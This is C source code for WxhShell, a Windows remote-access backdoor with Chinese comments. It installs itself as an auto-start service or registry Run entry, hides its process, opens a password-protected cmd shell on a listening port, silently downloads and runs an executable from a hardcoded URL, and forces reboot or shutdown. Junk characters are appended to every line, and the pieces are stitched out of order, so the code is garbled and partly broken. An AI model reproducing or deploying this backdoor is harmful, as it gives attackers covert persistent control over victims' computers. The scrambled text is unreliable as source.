    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); g:*yjj  
    if(Boot(SHUTDOWN)) AU7c = H:?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T&{EqsI=B  
    else {  M,6AD]  
    closesocket(wsh); QX8N p{g-  
    ExitThread(0); .rMGI "  
    } y%T'e(5Ed  
    break; )qxL@w.  
    } c8u&ev.U  
  // 获取shell jy1*E3vQ  
  case 's': { DLz~$TF^  
    CmdShell(wsh); w.V8-9{  
    closesocket(wsh); ukPV nk  
    ExitThread(0); zz$*upxK  
    break; 4f/8APA  
  } WRNO) f<  
  // 退出  k&rl%P  
  case 'x': { }2{%V^D)r  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [NuayO3  
    CloseIt(wsh); uH7u4f1Q  
    break; yqAw7GaBN  
    } (yZ^Y'0  
  // 离开 'DKP-R"  
  case 'q': { {j(,Q qB;f  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6ZF5f^M^  
    closesocket(wsh); <CH7jbK  
    WSACleanup(); ,iHl;3bu  
    exit(1); MbJV)*Q  
    break; /]vg_&)=  
        } %i96@ 6O  
  } |M+ !O93  
  } K~Xt`  
XCk \#(VSE  
  // 提示信息 xo]|m\#k5E  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g{nu3F}8){  
} 2R)Y}*VX  
  } le1'r>E$  
/FQumqbnt  
  return; gsZCWT  
} 2B*9]AHny  
J NsK   
// shell模块句柄 8S)k]$wf%  
int CmdShell(SOCKET sock) [jY_e`S  
{ Iw48+krm>  
STARTUPINFO si; g#H#i~E^  
ZeroMemory(&si,sizeof(si)); hd '!f  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j:fL_1m  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _w'4f )7  
PROCESS_INFORMATION ProcessInfo; gTs5xDvJ  
char cmdline[]="cmd"; 4sG^ bZ,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Dzp9BRS 2f  
  return 0; 1[^2f70n  
} 8_:jPd! 3  
4|*_mC  
// 自身启动模式 A}W&=m8!  
int StartFromService(void) xKIm2% U9  
{ 7gv kd+-*  
typedef struct (h2bxfV~+  
{ UW40Y3W0  
  DWORD ExitStatus; "&>$/b$  
  DWORD PebBaseAddress; f v}h;?C  
  DWORD AffinityMask; "y62Wo6m)  
  DWORD BasePriority; SB]|y -su  
  ULONG UniqueProcessId; 0;]tC\D1  
  ULONG InheritedFromUniqueProcessId; eH75: `  
}   PROCESS_BASIC_INFORMATION; VFRUiz/C  
!K3 #4   
PROCNTQSIP NtQueryInformationProcess; sg2T)^*V  
( vgoG5  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;ML21OjgN  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .( 75.^b2)  
=)'AXtvE  
  HANDLE             hProcess; c7sW:Yzil  
  PROCESS_BASIC_INFORMATION pbi; # Z8<H  
02bv0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); s,lrw~17  
  if(NULL == hInst ) return 0; m~%IHWO'  
{Pdy KgM  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )6Hc Pso6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); iN=-N=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); bluhiiATd  
}Vk#w%EJ  
  if (!NtQueryInformationProcess) return 0; cO_En`F  
U%"v7G-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); sJMT _yt;  
  if(!hProcess) return 0; +Z /Pj_.o  
Pij*?qmeQ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; qm] k (/w  
tP7l ;EX4  
  CloseHandle(hProcess); IJ[#$I+Z%  
z[[|'02{  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); F"~uu9u  
if(hProcess==NULL) return 0; ?!cUAa>iH  
qVE6ROSh  
HMODULE hMod; P**h\+M>{  
char procName[255]; x2(hp  
unsigned long cbNeeded; F0])g  
wwk=*X-8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \za 0?b  
]qvrpI!E!  
  CloseHandle(hProcess); QGn3xM66  
'IKV%$k  
if(strstr(procName,"services")) return 1; // 以服务启动 w}X<]u  
/ 9^:*,  
  return 0; // 注册表启动 "Lw[ $  
} ~X)Aw 3}F  
Z;-=xp  
// 主模块 M qFuZg  
int StartWxhshell(LPSTR lpCmdLine) w+z~Mz}Vz  
{ Xu2:yf4No*  
  SOCKET wsl; <"X\~  
BOOL val=TRUE; 7c5+8k3  
  int port=0; jgK8} C  
  struct sockaddr_in door; T}M!A|   
=0 mf  
  if(wscfg.ws_autoins) Install(); Am{Vtl)i  
nj]l'~Y0  
port=atoi(lpCmdLine); |W:xbtPNy  
JPR o<jt=  
if(port<=0) port=wscfg.ws_port; Z vM~]8m  
 MV'q_{J  
  WSADATA data; h3[^uY e  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; aHuZzYQ*"j  
bXmX@A$#Io  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   a=]tqV_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); N7=lSBm  
  door.sin_family = AF_INET; w|lA%H7`J  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4$~eG"wu  
  door.sin_port = htons(port); {mr!E  
6F !B;D-Q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { : M=0o<  
closesocket(wsl); nc4KeEl  
return 1; #{-B`FAQ  
} J!YB_6b  
5%Hw,h   
  if(listen(wsl,2) == INVALID_SOCKET) { qT5q3A(8  
closesocket(wsl); suiO%H^t  
return 1; ] -iMo4H  
} avxr|uk  
  Wxhshell(wsl); FN0)DN2d}  
  WSACleanup(); waT'|9{  
THEpW{.E  
return 0; bys5IOP{]o  
KW`^uoY$  
} g3B%}!|  
zZR_&z<  
// 以NT服务方式启动 z_nv|5"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |Y"nZK,  
{ J[ ;g \  
DWORD   status = 0; &6deds  
  DWORD   specificError = 0xfffffff; a=@]Ov/  
x *:v]6y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]L)l5@5^  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; g6aIS^mU  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; GO4IAUA  
  serviceStatus.dwWin32ExitCode     = 0; )d(F]uV:y  
  serviceStatus.dwServiceSpecificExitCode = 0; {8]Yqx)1]]  
  serviceStatus.dwCheckPoint       = 0; @:s (L]  
  serviceStatus.dwWaitHint       = 0; )seeBm-`  
Wz{,N07Q#{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "}*5'e.*  
  if (hServiceStatusHandle==0) return; Z#uxa  
i=3~ h Zl  
status = GetLastError(); &;3iHY;  
  if (status!=NO_ERROR) ? $$Xg3w_#  
{ `s8*n(\h  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; K4U_sCh#f  
    serviceStatus.dwCheckPoint       = 0;  KEPNe(H  
    serviceStatus.dwWaitHint       = 0; *3@ =XY7  
    serviceStatus.dwWin32ExitCode     = status; (sDZ&R  
    serviceStatus.dwServiceSpecificExitCode = specificError; vd{ban9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'Hf+Y/`  
    return; <DR$WsDG  
  } 12]rfd   
]Xm+-{5?!R  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; xB :]{9r  
  serviceStatus.dwCheckPoint       = 0; H^ds<I<)  
  serviceStatus.dwWaitHint       = 0; a=_:`S]}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3R>"X c  
} Dbl3ef  
Nb3uDA5R  
// 处理NT服务事件,比如:启动、停止 GD-L0kw5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) '><I|c}  
{ DMdVE P"m  
switch(fdwControl) h~`^H9?M  
{ u7nTk'#r  
case SERVICE_CONTROL_STOP: W*;r}!ro  
  serviceStatus.dwWin32ExitCode = 0; #=uV, dw  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; mswAao<y&x  
  serviceStatus.dwCheckPoint   = 0; 7?@ -|{  
  serviceStatus.dwWaitHint     = 0; QtHK`f>4#n  
  { [zJ|61^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tqD=)0Uzs  
  } lJvfgP-j  
  return; ^#gJf*'UE  
case SERVICE_CONTROL_PAUSE: _s18^7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `(uN_zvH  
  break; 8hV>Q  
case SERVICE_CONTROL_CONTINUE: xp*Wf#BF  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; O>y*u8  
  break; 2`^M OGYk  
case SERVICE_CONTROL_INTERROGATE: !&adO,jN+=  
  break; V7<w9MM  
}; fnJx$PD~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); y$8S+N?>  
} GLp~SeF#  
1<G,0Lt  
// 标准应用程序主函数 )vD:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) i~"lcgoO  
{ U! $/'Xi9  
qDS~|<Y5  
// 获取操作系统版本 <5!)5+G  
OsIsNt=GetOsVer(); qm/#kPlM  
GetModuleFileName(NULL,ExeFile,MAX_PATH); H krhd   
P"{yV?CNg  
  // 从命令行安装 =d BK,/  
  if(strpbrk(lpCmdLine,"iI")) Install(); RF}R~m9]  
<:>[24LJ{  
  // 下载执行文件 "_0sW3rG  
if(wscfg.ws_downexe) { zI= 9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Z&|Dp*Z  
  WinExec(wscfg.ws_filenam,SW_HIDE); Df@b;-E  
}  G){A&F  
z2iWr  
if(!OsIsNt) { .I Io   
// 如果时win9x,隐藏进程并且设置为注册表启动 e}NB ,o  
HideProc(); \E1CQP-  
StartWxhshell(lpCmdLine); =F% <W7  
} f5z*AeI  
else 2)Q%lEm`SP  
  if(StartFromService()) 6!@p$ pm)a  
  // 以服务方式启动 R8>17w.  
  StartServiceCtrlDispatcher(DispatchTable);  c?*x2Vk  
else KK?R|1VK9  
  // 普通方式启动 u p zBd]  
  StartWxhshell(lpCmdLine); ]E|E4K6g  
q*!Vyk  
return 0; gb=tc`  
} q{}U5(,{0  
h AJ^(|  
d@? zCFD  
4N)45@jk[  
=========================================== F?Fxm*Wa/  
5Mp$u756  
06 an(& a9  
z s\N)LyM  
p^C$(}Yh  
~zoZ{YqP  
" S;" $02]  
J;k8 a2$_  
#include <stdio.h> 734H{,~  
#include <string.h> ~H4Tr[8a  
#include <windows.h> p#N2K{E  
#include <winsock2.h> ~ Ofn&[G  
#include <winsvc.h> IN@ =UAc&  
#include <urlmon.h> \;Sl5*kr  
] u\-_PP  
#pragma comment (lib, "Ws2_32.lib") K_Kz8qV.?  
#pragma comment (lib, "urlmon.lib") ^YB3$:@$U  
1QbD]"=n  
#define MAX_USER   100 // 最大客户端连接数 })?KpYk  
#define BUF_SOCK   200 // sock buffer S" PJ@E}^E  
#define KEY_BUFF   255 // 输入 buffer q3D,hG_  
<Q8d{--o  
#define REBOOT     0   // 重启 #iT3 aou  
#define SHUTDOWN   1   // 关机 }}LjEOvL=  
&r!jjT  
#define DEF_PORT   5000 // 监听端口 ] V,#>'  
8aY}b($*ZI  
#define REG_LEN     16   // 注册表键长度 m[%P3  
#define SVC_LEN     80   // NT服务名长度 q4niA  
8"ulAx74>  
// 从dll定义API M y!;N1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); POQ4&ChA  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~PX#' Jr  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); BO>[\!=y  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); v807)JwS  
dF^`6-K1  
// wxhshell配置信息 ;m"R.Q9*  
struct WSCFG { acI%fYw5p`  
  int ws_port;         // 监听端口 CtHsi8m  
  char ws_passstr[REG_LEN]; // 口令 _o-01gu.  
  int ws_autoins;       // 安装标记, 1=yes 0=no D.YT u$T  
  char ws_regname[REG_LEN]; // 注册表键名 X CHN'l'  
  char ws_svcname[REG_LEN]; // 服务名 t?FPmbj v  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0BN=>]V~j7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 )gG_K$08?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 W"g@*B'|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 'kekJ.wJ;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Aj+0R?9tG  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 : n\D  
5ZjM:wrF|  
}; RCMO?CBe  
,ysn7Y{Y  
// default Wxhshell configuration .WS7gTw  
struct WSCFG wscfg={DEF_PORT, 7Pr5`#x#  
    "xuhuanlingzhe", (kJ"M4*<F'  
    1, fRt&-z('  
    "Wxhshell", qbo W<W<H1  
    "Wxhshell", 960rbxKy3  
            "WxhShell Service", fn.}LeeS>  
    "Wrsky Windows CmdShell Service", t7/a5x  
    "Please Input Your Password: ", ~t^'4"K*  
  1, y<)q;fI7  
  "http://www.wrsky.com/wxhshell.exe", )C>M74Bt  
  "Wxhshell.exe" b\+9#)Up@  
    }; 41o ~5:&  
 KRh?{  
// 消息定义模块 rlkg.e6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; = $6pL  
char *msg_ws_prompt="\n\r? for help\n\r#>"; +|Mi lwr  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^%x7:  
char *msg_ws_ext="\n\rExit."; 7.B]B,]  
char *msg_ws_end="\n\rQuit."; Cce{aY  
char *msg_ws_boot="\n\rReboot..."; 74a>}+"  
char *msg_ws_poff="\n\rShutdown..."; \)BDl  
char *msg_ws_down="\n\rSave to "; /pz(s+4=  
yV5AVM o  
char *msg_ws_err="\n\rErr!"; L)_L#]Yy  
char *msg_ws_ok="\n\rOK!"; BoXGoFn  
Jek)`D  
char ExeFile[MAX_PATH]; @W!cC#u  
int nUser = 0; D?P1\<A~  
HANDLE handles[MAX_USER]; )%9 P ;/  
int OsIsNt; $c24lJ#/  
XD|vB+j\O  
SERVICE_STATUS       serviceStatus; 6E.64+PJw  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ipJnNy;  
Z"a]AsG/Q#  
// 函数声明 <9Pf] G=  
int Install(void); 67dp)X  
int Uninstall(void); !\_li+  
int DownloadFile(char *sURL, SOCKET wsh); 1 =9 Kwd  
int Boot(int flag); d=:&tOCg2  
void HideProc(void); 0& ?/TSC  
int GetOsVer(void); !J+< M~o}  
int Wxhshell(SOCKET wsl); }@jT-t]P  
void TalkWithClient(void *cs); 4vf,RjB-5  
int CmdShell(SOCKET sock); WAp#[mW.fx  
int StartFromService(void); n*i1QC  
int StartWxhshell(LPSTR lpCmdLine); ' Y.s}Duj  
IF.6sJg:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); F anA~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); S-)%#  
\S"YLRn"  
// 数据结构和表定义 9h 0^_|"  
SERVICE_TABLE_ENTRY DispatchTable[] = /(skIvE|  
{ !_=3Dz  
{wscfg.ws_svcname, NTServiceMain}, ]0)=0pc]E  
{NULL, NULL} (Y?" L_pC  
}; [<7Vv_\Q  
dtUt2r)6L;  
// 自我安装 k{j (Gb2sp  
int Install(void) D3-H!TFpDb  
{ 4) ~ GHb  
  char svExeFile[MAX_PATH]; j%OnLTZ  
  HKEY key; lBnG!!VrWa  
  strcpy(svExeFile,ExeFile); N}j^55M_]  
`Hq)g1a7q  
// 如果是win9x系统,修改注册表设为自启动 }mSfg  
if(!OsIsNt) { 3QzHQU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =o+))R4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6z80Y*|eJ  
  RegCloseKey(key); mu =H&JC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \!,@pe_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jaI mO  
  RegCloseKey(key); 5x; y{qT  
  return 0; N>4uqFo  
    } vd'd@T  
  } f.&Y_G3a<  
} OA3* "d*  
else { &GH ,is  
#v`J]I)$  
// 如果是NT以上系统,安装为系统服务 ~#jD/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); B?)=d,E  
if (schSCManager!=0) FGG 7;0(  
{ ');QmN%J  
  SC_HANDLE schService = CreateService RAW(lZ(  
  ( FUj4y 9X  
  schSCManager, {^VvL'n  
  wscfg.ws_svcname, L(i*v5?  
  wscfg.ws_svcdisp, TGe{NUO  
  SERVICE_ALL_ACCESS, {JlW1;Jc7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -w:F8k ~  
  SERVICE_AUTO_START, 7J@D})si  
  SERVICE_ERROR_NORMAL, =+j>?Yi  
  svExeFile, *PjW,   
  NULL, Q1?G7g]N  
  NULL, 9@."Y>1G  
  NULL, +aWI"d--h  
  NULL, 4_w+NI,;  
  NULL &18CCp\3)c  
  ); __,1;=  
  if (schService!=0) 1 k}U+  
  { HrZ\=1RB  
  CloseServiceHandle(schService); #}rv)  
  CloseServiceHandle(schSCManager); Q@-7{3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); c~+;P(>  
  strcat(svExeFile,wscfg.ws_svcname); U,4:yc,)s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { a}+7MEUmZ/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =@d IM  
  RegCloseKey(key); 3+2&@:$t  
  return 0; n)7olP0p  
    } PDnwaK   
  } zi*2>5g  
  CloseServiceHandle(schSCManager); `2@t) :  
} o(I[_oUy\  
} 007SA6xq  
[fU2$(mT+  
return 1; )MKzAAt~  
} ;hOrLy&O  
&T8prE?  
// 自我卸载 / 1jb8w'  
int Uninstall(void) Tv& -n  
{ {1y-*@yU(  
  HKEY key; D+.h *{gD  
a N|MBX;  
if(!OsIsNt) { :>.~"uWo{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3P!Jw7e  
  RegDeleteValue(key,wscfg.ws_regname); 1Yy5bg6+E  
  RegCloseKey(key); E(e'qL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { iG1vy'J#o  
  RegDeleteValue(key,wscfg.ws_regname); ncluA~8  
  RegCloseKey(key); /?jAG3"  
  return 0; tndtwM*B'  
  } T/" 6iv\1  
} i[~oMwc&  
} b0 CtQe  
else { P{eL;^I  
!S[8w9q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); tIgKnKr^)  
if (schSCManager!=0) aD~3C/?aW  
{ m>gok0{pm  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); c8sY#I  
  if (schService!=0) :o}J u}t  
  { a(X?N.w  
  if(DeleteService(schService)!=0) { p AzPi  
  CloseServiceHandle(schService); x8 sSb:N  
  CloseServiceHandle(schSCManager); .pgTp X   
  return 0; @' DfNka  
  } ?#^_yd|<  
  CloseServiceHandle(schService); Z4Nl{  6  
  } bGvALz'  
  CloseServiceHandle(schSCManager); V@Z8t8  
} +'H_sMmi{  
} qJj;3{X2  
 t]Xdzy  
return 1; 1.0S>+^JE  
} Z,Z34:-  
j5ZeYcQ-  
// 从指定url下载文件 t)LD-%F  
int DownloadFile(char *sURL, SOCKET wsh) c,1Yxg]|  
{ ]k%Yz@*S  
  HRESULT hr; 'w`:p{E  
char seps[]= "/"; o[Yxh%T  
char *token; Da!A1|"  
char *file; <LDVO'I0 !  
char myURL[MAX_PATH]; gRuNC=sR  
char myFILE[MAX_PATH]; A e&t#,)  
edqekjh  
strcpy(myURL,sURL); 8 kw`=wSH>  
  token=strtok(myURL,seps); [Z484dS`_  
  while(token!=NULL) s#ijpc>h  
  { 9cAb\5c|  
    file=token; , e{kC  
  token=strtok(NULL,seps); ]l>)Di#*o  
  } 8/f ,B:by  
^o]ZDc  
GetCurrentDirectory(MAX_PATH,myFILE);  KAmv7  
strcat(myFILE, "\\"); A('=P}I^  
strcat(myFILE, file); FW:x XK  
  send(wsh,myFILE,strlen(myFILE),0); T=}(S4n#BX  
send(wsh,"...",3,0); *doK$wYP  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); pvJ@$L `'  
  if(hr==S_OK) tFL/zqgm  
return 0; &}S#6|[i  
else 1@C0c%  
return 1; I|JMkP  
zg&<HJO  
} _|xO4{X  
"P=OpFV  
// 系统电源模块 + ?n81|7`  
int Boot(int flag) Crmxsw.W^Y  
{ l;: L0(('  
  HANDLE hToken; 'D8WNZ8Q  
  TOKEN_PRIVILEGES tkp; w1/p wzn  
U7.3`qd"  
  if(OsIsNt) { ~]DGf(   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); V<AT"vU[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3qPj+@  
    tkp.PrivilegeCount = 1; j0!Z 20  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !@!,7te  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0&Q-y&$7  
if(flag==REBOOT) { 3(':4Tas  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) U[=VW0  
  return 0; _h!OGLec  
} /c~z(wv  
else { ]'=]=o~4  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *,~d!Fc  
  return 0; S1&mY'c  
} dJM)~Ay-  
  } wp`a:QZ8N  
  else { ["4h%{.  
if(flag==REBOOT) { &a%|L=FY  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) xSZgQF~  
  return 0; ^ElUU?rX  
} W F<`CQg[  
else { 40N8?kQ}?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =vMFCp;mv  
  return 0; EAU6z(X$  
} yf+M  
} .`& ($W  
~h 6aw  
return 1; g4(B=G\j  
} L8N`<a5T  
|GtTz&  
// win9x进程隐藏模块 @FKNB.>  
void HideProc(void) +M!f}=H  
{ pi:%Bd&F  
-`gqA%#+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Ub*Gv(Pg  
  if ( hKernel != NULL ) zE5%l`@|o  
  {  XeDiiI  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Vu0jNKUV  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); C Fq3  
    FreeLibrary(hKernel); N"/jn_>+j  
  } $Zp\^cIE+  
z9pv|  
return; bl NJ  
} u HqPb8  
~~k_A|&  
// 获取操作系统版本 rvuskXdo  
int GetOsVer(void) xal+ buOiP  
{ XRCiv  
  OSVERSIONINFO winfo; %4Cs c  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); c1M/:*?%  
  GetVersionEx(&winfo); L5! aLv#  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4%1sOnl  
  return 1; N|5J-fR&  
  else 9 o6ig>C  
  return 0; .)o<'u@Ri  
} T;qP"KWZ  
"hi?/B#d  
// 客户端句柄模块 ?47q0C  
int Wxhshell(SOCKET wsl) S/ )P&V%  
{ |oPCmsO3R{  
  SOCKET wsh; J3gJSRT@P  
  struct sockaddr_in client; K>X#,lE-  
  DWORD myID; Ac}+U q  
Ecp]fUQK  
  while(nUser<MAX_USER) [ZU6z?Pf  
{ ]3]I`e{  
  int nSize=sizeof(client); =mxG[zDtQ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); XQ]noaU  
  if(wsh==INVALID_SOCKET) return 1; &^Q-:Kxs8  
>%5Ld`c:SD  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); awh<CmcZ  
if(handles[nUser]==0) 9HrT>{@  
  closesocket(wsh); ;X,|I)  
else , f{<  
  nUser++; WzZ<ZCHm  
  } V/"UDof  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^.)oQo SE  
  4Ra  
  return 0; 2%UzCK  
} "C%<R  
xX$'u"dsA  
// 关闭 socket IHHL. gT  
void CloseIt(SOCKET wsh) P}hHx<L  
{ chk1tFV  
closesocket(wsh); / r6^]grg  
nUser--; 69ZGdN  
ExitThread(0); '4k l$I  
} Hy=';Ccn}  
,]RMa\Q4Wg  
// 客户端请求句柄 &{E1w<uv  
void TalkWithClient(void *cs) y(/"DUx  
{ EYWRTh  
ChzKwYDY  
  SOCKET wsh=(SOCKET)cs; a!rU+hiC  
  char pwd[SVC_LEN]; /vC|_G|{  
  char cmd[KEY_BUFF]; A) {q 7WI  
char chr[1]; :}(Aq;}X  
int i,j; 1;8=,&  
WjLy7&  
  while (nUser < MAX_USER) { Kv(2x3("  
RlW0U-%u  
if(wscfg.ws_passstr) { K|[p4*6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v$~1{}iI5  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I!sh+e  
  //ZeroMemory(pwd,KEY_BUFF); 5B6twn~[  
      i=0; b>g&Pf#N!  
  while(i<SVC_LEN) { oA/[>\y  
2tPW1"M.n  
  // 设置超时 Xa o*h(Q@L  
  fd_set FdRead; \tR](, /  
  struct timeval TimeOut; aia`mO]  
  FD_ZERO(&FdRead); (j<FS>##  
  FD_SET(wsh,&FdRead); 0F48T<i  
  TimeOut.tv_sec=8; 5PF?Eq   
  TimeOut.tv_usec=0; 1M@OBfB8  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]k+XL*]'A  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %vF,wQC  
a ]~Rp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9mA6nmp  
  pwd=chr[0]; v9*ugu[K9  
  if(chr[0]==0xd || chr[0]==0xa) { f6/<lSoW  
  pwd=0; P"-*'q,9  
  break; <O<Kf:i&c1  
  } M~/Pk7CC  
  i++; {*yFTP"93  
    } "Y'MuV'x  
6=pE5UfT  
  // 如果是非法用户,关闭 socket |ty?Ah,vb  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); dw*PjIB9x  
} nm#ISueh  
3#\++h]QZ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); s+m3&(X  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ga<Uvr%+  
Ow" e3]}Mt  
while(1) { }>93X0%r  
4 H<.  
  ZeroMemory(cmd,KEY_BUFF); R!)3{cjU@  
T6ihEb$C  
      // 自动支持客户端 telnet标准   ^U q%-a  
  j=0; fk*I}pDx  
  while(j<KEY_BUFF) { KIRCye  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H|\@[:A+  
  cmd[j]=chr[0]; F o k%  
  if(chr[0]==0xa || chr[0]==0xd) { 1  b&<De  
  cmd[j]=0; yf4I<v$y  
  break; 9ZJn 8ki  
  } N4HIQ\p  
  j++; 6y+_x'  
    } kJ'rtz4QO  
:QoW*Gs1  
  // 下载文件 0#G@F5; <  
  if(strstr(cmd,"http://")) { 42oW]b%P{;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); B}(r>8?dm  
  if(DownloadFile(cmd,wsh)) /nq\*)S#&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); aRV .;S  
  else WWEZTFL:j  
